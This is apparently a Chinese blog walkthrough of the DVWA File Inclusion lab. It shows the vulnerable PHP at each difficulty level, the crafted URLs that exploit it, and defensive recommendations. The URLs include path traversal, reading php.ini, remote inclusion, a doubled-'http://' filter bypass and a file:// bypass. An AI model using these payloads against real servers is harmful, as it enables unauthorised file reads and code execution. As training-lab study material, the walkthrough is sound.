DVWA-File Inclusion(文件包含)渗透测试

概念:

  1. 漏洞产生原因:

    • 主要是由于开发人员没有对用户输入的文件路径进行严格的过滤和验证。例如,如果一个 Web 应用程序接受用户输入的文件路径,然后使用这个路径进行文件包含,而没有对用户输入进行任何检查,那么攻击者就可以通过构造恶意的文件路径,让程序包含并执行他们指定的文件。

  2. 危害:

    • 代码执行:攻击者可以上传一个包含恶意代码的文件,然后通过文件包含漏洞让目标程序执行这个文件中的代码。这可能导致服务器被完全控制,敏感信息被窃取,数据库被篡改等严重后果。

    • 敏感信息泄露:如果被包含的文件中包含敏感信息,如数据库连接字符串、密码等,攻击者可以通过文件包含漏洞获取这些敏感信息。

    • 权限提升:如果目标程序以高权限运行,攻击者可以利用文件包含漏洞执行恶意代码,从而提升自己在服务器上的权限。

环境:php7.0

low

源码分析:

<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

 没有做限制:  

链接修改访问任意文件夹:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=/tmp

得到文件路径且靶场系统非linux:

之前已经上传了phpinfo(),直接测试本地文件包含

【绝对路径】

http://[ip]/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\hackable\uploads\phpinfo.php

【相对路径】

http://[ip]/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/phpinfo.php

远程文件包含:

首先确认远程文件是否开启,我们访问dvwa下的php.ini(如果你配置过php环境,则清楚php配置都在该文件见里)

php.ini文件绝对路径:X:\phpStudy\WWW\DVWA\php.ini

构造url:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\php.ini

也可以通过../回退目录构造文件相对路径url

同样的效果,我们得到:

说明远程文件夹是开启。

我们靶机本地执行:http://localhost/dvwa/phpinfo.txt

远程包含:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/dvwa/phpinfo.txt

(这里相当于远程靶机本地执行)

(包含失败的话看下路径,检查下文件路径,默认dvwa文件下)

medium

源码分析:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
//str_replace()函数:替换字符串中的一些字符(区分大小写)
//str_replace(find,replace,string,count)
//find,必须。规定要查找的值
//replace,必须。规定替换find中的值的值
//string,必须。规定被搜索的字符串
//count,可选。一个变量,对替换函数进行计数
//返回值:返回带有替换值的字符串或数组//如果搜索的字符串是一个数组,那么它将返回一个数组并对数组中的每个元素进行查找和替换
//如果是对一个数组进行查找,单只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。$file = str_replace( array( "../", "..\"" ), "", $file );?>

此代码做了过滤,基于low级别的构造相对路径的本地包含和远程包含均失效。绝对路径有效。

原理已知,我们构造url,不断尝试,

  • page=httphttp://://127.0.0.1/dvwa/phpinfo.txt可以绕过检测

  •  使用绝对路径也是可以执行的:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\phpinfo.txt

high

源码分析:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
//fnmatch("file",$file):该函数检查参数$file是否是以file开头,如果不是则返回false
//如果两个条件都满足:即既不是以 “file” 开头的文件名,也不是 “include.php”,则认为这不是期望的页面,输出 “ERROR: File not found!” 并退出程序。// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

主要做了访问包含条件限制。也就是要在当前页以file*开头。否则报错。

构造url:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=file://X:\phpStudy\WWW\DVWA\phpinfo.txt

impossible

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

限制只允许包含4种文件。

文件包含漏洞防御:文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序中,允许攻击者通过恶意构造的输入包含服务器上的文件。防御这种漏洞可以采取以下几种方法:

1. **输入验证**:
   - 严格验证用户输入,确保只接受预定义的安全值。
   - 使用白名单,限制可包含的文件。

2. **使用绝对路径**:
   - 避免使用相对路径,确保使用绝对路径来引用文件,减少路径遍历攻击的风险。

3. **禁用文件包含功能**:
   - 对于不需要文件包含功能的应用,考虑在配置中禁用相关功能(如PHP中的`allow_url_include`)。

4. **最小化文件权限**:
   - 限制Web服务器对文件系统的访问权限,仅允许访问必要的目录和文件。

5. **使用安全的编程实践**:
   - 遵循安全编码标准,确保代码中不允许任意文件包含。
   - 定期审查和测试代码,发现并修复潜在的漏洞。

6. **日志记录和监控**:
   - 实施日志记录,监控异常的文件包含请求,及时响应潜在的攻击。

7. **应用程序安全性审计**:
   - 定期进行安全审计和渗透测试,发现和修复潜在的文件包含漏洞。

通过以上措施,可以有效降低文件包含漏洞带来的风险,提高应用程序的安全性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/54779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

传输层协议 --- UDP

序言 在之前的文章 Socket 编程 中&#xff0c;我们只是简单的知道了怎么利用 UDP协议 或者是 TCP协议 来发送我们的数据&#xff0c;并且我们还知道 UDP 是不可靠的&#xff0c;TCP 是可靠的。但这是为什么呢&#xff1f;底层的构造和策略决定他们的属性&#xff01;这篇文章中…

数据结构编程实践20讲(Python版)—01数组

本文目录 01 数组 arrayS1 说明S2 举例S3 问题&#xff1a;二维网格中的最小路径求解思路Python3程序 S4 问题&#xff1a;图像左右变换求解思路Python3程序 S5 问题&#xff1a;青蛙过河求解思路Python3程序 写在前面 数据结构是计算机科学中的一个重要概念&#xff0c;用于组…

HttpSession使用方法及原理

HttpSession使用方法及原理 一、HttpSession使用流程说明二、登录概述具体 三、访问过程概述具体 一、HttpSession使用流程说明 1.用户发送登录请求到服务器。 2.服务器处理登录请求&#xff0c;调用userService.login(loginUser)。 3.如果登录成功&#xff0c;服务器调用requ…

Linux云计算 |【第四阶段】NOSQL-DAY2

主要内容&#xff1a; Redis集群概述、部署Redis集群&#xff08;配置manage管理集群主机、创建集群、访问集群、添加节点、移除节点&#xff09; 一、Redis集群概述 1、集群概述 所谓集群&#xff0c;就是通过添加服务器的数量&#xff0c;提供相同的服务&#xff0c;从而让…

【echarts】报错series.render is required.

总结&#xff1a;就是echarts无法保存renderItem函数到json里&#xff0c;因为renderItem是个封装方法&#xff0c;因此需要初始化加载时重新插入renderItem即可 1.描述&#xff1a;控制台报错series.render is required. 原数据json如下&#xff1a; {type: "bar"…

工作安排 - 华为OD统一考试(E卷)

2024华为OD机试(C卷+D卷)最新题库【超值优惠】Java/Python/C++合集 题目描述 小明每周上班都会拿到自己的工作清单,工作清单内包含n项工作,每项工作都有对应的耗时时长(单位h)和报酬,工作的总报酬为所有已完成工作的报酬之和。那么请你帮小明安排一下工作,保证小明在指定…

科研绘图系列:R语言树结构聚类热图(cluster heatmap)

文章目录 介绍加载R包导入数据数据预处理画图修改图形导出数据系统信息介绍 热图结合树结构展示聚类结果通常用于展示数据集中的模式和关系,这种图形被称为聚类热图或层次聚类热图。在这种图中,热图部分显示了数据矩阵的颜色编码值,而树结构(通常称为树状图或聚类树)则显…

AIGAME背后的强大背景与AI币价值的崛起

AIGAME平台背后汇集了强大的资本和技术支持&#xff0c;凭借蒙特加密产业基金的战略投资和汇旺集团的多元化Web3基础设施建设&#xff0c;AIGAME在全球范围内迅速崛起。平台所使用的Sleepless AI技术&#xff0c;结合区块链与AI的深度融合&#xff0c;赋能AI币&#xff0c;使其…

虚拟社交的新时代:探索Facebook的元宇宙愿景

随着技术的不断进步&#xff0c;社交媒体的形态也在悄然变化。Facebook&#xff08;现名Meta&#xff09;正站在这一变革的前沿&#xff0c;积极探索元宇宙的愿景。元宇宙不仅是虚拟现实&#xff08;VR&#xff09;和增强现实&#xff08;AR&#xff09;的结合&#xff0c;更是…

遍历9个格子winmine!StepBlock和遍历8个格子winmine!StepBox的对决

遍历9个格子winmine!StepBlock和遍历8个格子winmine!StepBox的对决 第一部分&#xff1a;windbg调试记录。 0: kd> g Breakpoint 10 hit winmine!DoButton1Up: 001b:0100390e a130510001 mov eax,dword ptr [winmine!xCur (01005130)] 0: kd> kc # 00 winmine…

【RabbitMQ 项目】服务端:服务器模块

文章目录 一.编写思路二.代码实践三.服务端模块关系总结 一.编写思路 成员变量&#xff1a; muduo 库中的 TCP 服务器EventLoop 对象&#xff1a;用于主线程循环监控连接事件协议处理句柄分发器&#xff1a;用于初始化协议处理器&#xff0c;便于把不同请求派发给不同的业务处理…

Golang | Leetcode Golang题解之第433题最小基因变化

题目&#xff1a; 题解&#xff1a; func diffOne(s, t string) (diff bool) {for i : range s {if s[i] ! t[i] {if diff {return false}diff true}}return }func minMutation(start, end string, bank []string) int {if start end {return 0}m : len(bank)adj : make([][…

OpenHarmony标准系统mipi摄像头适配

OpenHarmony标准系统mipi摄像头适配 本文档以rk3568为例&#xff0c;讲述如何在OpenHarmony 标准系统rk设备上适配mipi摄像头。 开发环境 OpenHarmony标准系统4.1rrk3568设备摄像头ov5648,ov8858 文档约定&#xff1a;4.1r_3568为OpenHarmony标准系统源码根目录 1.适配准备:得…

树莓派pico上手

0 介绍 不同于作为单板计算机的树莓派5&#xff0c;树莓派 pico 是一款低成本、高性能的微控制器板&#xff0c;具有灵活的数字接口。主要功能包括&#xff1a; 英国树莓派公司设计的 RP2040 微控制器芯片双核 Arm Cortex M0 处理器&#xff0c;弹性的时钟频率高达 133 MHz26…

Spring AOP的应用

目录 1、maven坐标配置与xml头配置 2、代理方式的选择与配置 3、AOP的三种配置方式 3.1、XML模式 3.1.1 创建目标类和方法 3.1.2 创建切面 3.1.3 切面xml配置与表达式说明 3.1.4 单测 3.2 纯注解模式 3.2.1 开启注解相关配置 3.2.2 创建目标类和方法 3.2.3 创建切面…

FGPA实验——触摸按键

本文系列都基于正点原子新起点开发板 FPGA系列 1&#xff0c;verlog基本语法&#xff08;随时更新&#xff09; 2&#xff0c;流水灯&#xff08;待定&#xff09; 3&#xff0c;FGPA实验——触摸按键 一、触摸操作原理实现 分类&#xff1a;电阻式&#xff08;不耐用&…

二叉树进阶

目录 1. 二叉搜索树实现 1.1 二叉搜索树概念 2.2 二叉搜索树操作 ​编辑 ​编辑 2.3 二叉搜索树的实现 2.3.0 Destroy() 析构 2.3.1 Insert&#xff08;&#xff09;插入 2.3.2 InOrder&#xff08;&#xff09; 打印搜索二叉树 ​编辑​编辑 2.3.3 Find() 查找 …

el-table表格点击该行任意位置时也勾选上其前面的复选框

需求&#xff1a;当双击表格某一行任意位置时&#xff0c;自动勾选上其前面的复选框 1、在el-table 组件的每一行添加row-dblclick事件&#xff0c;用于双击点击 <el-table:data"tableData"ref"tableRef"selection-change"handleSelectionChange&q…

如何在Chrome最新浏览器中调用ActiveX控件?

小编最近登陆工商银行网上银行&#xff0c;发现工商银行的个人网银网页&#xff0c;由于使用了ActiveX安全控件&#xff0c;导致不能用高版本Chrome浏览器打开&#xff0c;目前只有使用IE或基于IE内核的浏览器才能正常登录网上银行&#xff0c;而IE已经彻底停止更新了&#xff…

AI绘图网页版工具

https://chat.bushao.info/?inVitecodeCHBEPQQOOM 一款AI绘图工具&#xff0c;很好玩&#xff0c;推荐&#xff1b; 我自己根据文本生成的图&#xff0c;感觉还不错。